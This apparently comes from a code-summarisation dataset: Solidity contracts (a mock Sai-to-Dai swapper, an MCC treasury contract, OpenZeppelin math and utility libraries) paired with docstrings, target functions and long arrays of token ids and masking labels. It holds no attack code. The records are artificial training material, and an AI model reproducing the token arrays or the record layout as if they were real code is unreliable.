import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../interfaces/SaiToDaiMigratorInterface.sol";
/**
* @title MockSaiToDaiMigrator
* @notice This contract swaps Sai for Dai - be sure to give it the Dai first.
*/
contract MockSaiToDaiMigrator is SaiToDaiMigratorInterface {
IERC20 private constant _SAI = IERC20(0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359);
IERC20 private constant _DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
function swapSaiToDai(uint256 balance) external {
_SAI.transferFrom(msg.sender, address(this), balance);
_DAI.transfer(msg.sender, balance);
}
} | * @title MockSaiToDaiMigrator @notice This contract swaps Sai for Dai - be sure to give it the Dai first./ | contract MockSaiToDaiMigrator is SaiToDaiMigratorInterface {
IERC20 private constant _SAI = IERC20(0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359);
IERC20 private constant _DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
function swapSaiToDai(uint256 balance) external {
_SAI.transferFrom(msg.sender, address(this), balance);
_DAI.transfer(msg.sender, balance);
}
} | 5,471,340 | [
1,
9865,
55,
10658,
774,
40,
10658,
25483,
639,
225,
1220,
6835,
1352,
6679,
348,
10658,
364,
463,
10658,
300,
506,
3071,
358,
8492,
518,
326,
463,
10658,
1122,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
7867,
55,
10658,
774,
40,
10658,
25483,
639,
353,
348,
10658,
774,
40,
10658,
25483,
639,
1358,
288,
203,
225,
467,
654,
39,
3462,
3238,
5381,
389,
5233,
45,
273,
467,
654,
39,
3462,
12,
20,
92,
6675,
72,
3247,
37,
26,
70,
24,
39,
71,
38,
21,
38,
26,
74,
5284,
5558,
2947,
74,
41,
4313,
22,
70,
5698,
29,
69,
22,
27284,
4630,
6162,
1769,
203,
225,
467,
654,
39,
3462,
3238,
5381,
389,
9793,
45,
273,
467,
654,
39,
3462,
12,
20,
92,
26,
38,
4033,
6564,
5608,
41,
6675,
5908,
24,
39,
6334,
40,
69,
10689,
70,
29,
6564,
41,
73,
323,
2226,
7616,
25,
5324,
21,
72,
20,
42,
1769,
203,
203,
225,
445,
7720,
55,
10658,
774,
40,
10658,
12,
11890,
5034,
11013,
13,
3903,
288,
203,
565,
389,
5233,
45,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
11013,
1769,
203,
565,
389,
9793,
45,
18,
13866,
12,
3576,
18,
15330,
16,
11013,
1769,
203,
225,
289,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2022-03-27
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return add(a, b, "SafeMath: addition overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface BEP20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Contract for treasury all tokens as fee and transfer to governance
*/
contract MCCTreasury is Ownable {
using SafeMath for uint256;
address public stables = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public rewards = 0x4Fd61669334F6feDf5741Bfb56FE673bD53a730F;
address payable public treasury = 0xFBf335f8224a102e22abE78D78CC52dc95e074Fa;
address public mcc = 0xC146B7CdBaff065090077151d391f4c96Aa09e0C;
// WithdrawTreasury Event
event WithdrawTreasury(address tokenAddress, uint256 withdrawAmount, address withdrawAddress);
// WithdrawTreasuryETH Event
event WithdrawTreasuryETH(uint256 withdrawAmount, address withdrawAddress);
/**
* @notice To receive
*/
function () external payable {}
/**
* @notice Withdraw Treasury Tokens, Only owner call it
* @param tokenAddress The address of treasury token
* @param withdrawAmount The withdraw amount to owner
* @param withdrawAddress The withdraw address
*/
function withdrawTreasury(
address tokenAddress,
uint256 withdrawAmount,
address withdrawAddress
) external onlyOwner {
uint256 actualWithdrawAmount = withdrawAmount;
// Get Treasury Token Balance
uint256 treasuryBalance = BEP20Interface(tokenAddress).balanceOf(address(this));
// Check Withdraw Amount
if (withdrawAmount > treasuryBalance) {
// Update actualWithdrawAmount
actualWithdrawAmount = treasuryBalance;
}
// Transfer Token to withdrawAddress
BEP20Interface(tokenAddress).transfer(withdrawAddress, actualWithdrawAmount);
emit WithdrawTreasury(tokenAddress, actualWithdrawAmount, withdrawAddress);
}
/**
* @notice Sweep Treasury Tokens
*/
function sweepTreasuryMCC() public {
require(msg.sender == tx.origin, "EOA Only");
uint256 actualWithdrawAmount = BEP20Interface(mcc).balanceOf(address(this));
// Transfer Token to withdrawAddress
BEP20Interface(mcc).transfer(rewards, actualWithdrawAmount);
emit WithdrawTreasury(mcc, actualWithdrawAmount, rewards);
}
/**
* @notice Sweep Treasury Tokens
*/
function sweepTreasuryStables() public {
require(msg.sender == tx.origin, "EOA Only");
uint256 actualWithdrawAmount = BEP20Interface(stables).balanceOf(address(this));
// Transfer Token to withdrawAddress
BEP20Interface(stables).transfer(treasury, actualWithdrawAmount);
emit WithdrawTreasury(stables, actualWithdrawAmount, treasury);
}
/**
* @notice Sweep Treasury ETH
*/
function sweepTreasuryETH() public {
require(msg.sender == tx.origin, "EOA Only");
uint256 actualWithdrawAmount = address(this).balance;
// Transfer to withdrawAddress
treasury.transfer(actualWithdrawAmount);
emit WithdrawTreasuryETH(actualWithdrawAmount, treasury);
}
/**
* @notice Withdraw Treasury ETH, Only owner call it
* @param withdrawAmount The withdraw amount to owner
* @param withdrawAddress The withdraw address
*/
function withdrawTreasuryETH(
uint256 withdrawAmount,
address payable withdrawAddress
) external payable onlyOwner {
uint256 actualWithdrawAmount = withdrawAmount;
// Get Treasury Balance
uint256 ethBalance = address(this).balance;
// Check Withdraw Amount
if (withdrawAmount > ethBalance) {
// Update actualWithdrawAmount
actualWithdrawAmount = ethBalance;
}
// Transfer to withdrawAddress
withdrawAddress.transfer(actualWithdrawAmount);
emit WithdrawTreasuryETH(actualWithdrawAmount, withdrawAddress);
}
function setStables(address _stables) external onlyOwner {
stables = _stables;
}
function setTreasury(address payable _treasury) external onlyOwner {
treasury = _treasury;
}
function setRewards(address _rewards) external onlyOwner {
rewards = _rewards;
}
function setMCC(address _mcc) external onlyOwner {
mcc = _mcc;
}
} | * @notice Sweep Treasury Tokens/ Transfer Token to withdrawAddress | function sweepTreasuryStables() public {
require(msg.sender == tx.origin, "EOA Only");
uint256 actualWithdrawAmount = BEP20Interface(stables).balanceOf(address(this));
BEP20Interface(stables).transfer(treasury, actualWithdrawAmount);
emit WithdrawTreasury(stables, actualWithdrawAmount, treasury);
}
| 6,664,102 | [
1,
55,
25236,
399,
266,
345,
22498,
13899,
19,
12279,
3155,
358,
598,
9446,
1887,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
17462,
56,
266,
345,
22498,
510,
1538,
1435,
1071,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
2229,
18,
10012,
16,
315,
41,
28202,
5098,
8863,
203,
3639,
2254,
5034,
3214,
1190,
9446,
6275,
273,
9722,
52,
3462,
1358,
12,
334,
1538,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
3639,
9722,
52,
3462,
1358,
12,
334,
1538,
2934,
13866,
12,
27427,
345,
22498,
16,
3214,
1190,
9446,
6275,
1769,
203,
203,
3639,
3626,
3423,
9446,
56,
266,
345,
22498,
12,
334,
1538,
16,
3214,
1190,
9446,
6275,
16,
9787,
345,
22498,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2022-01-19
*/
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
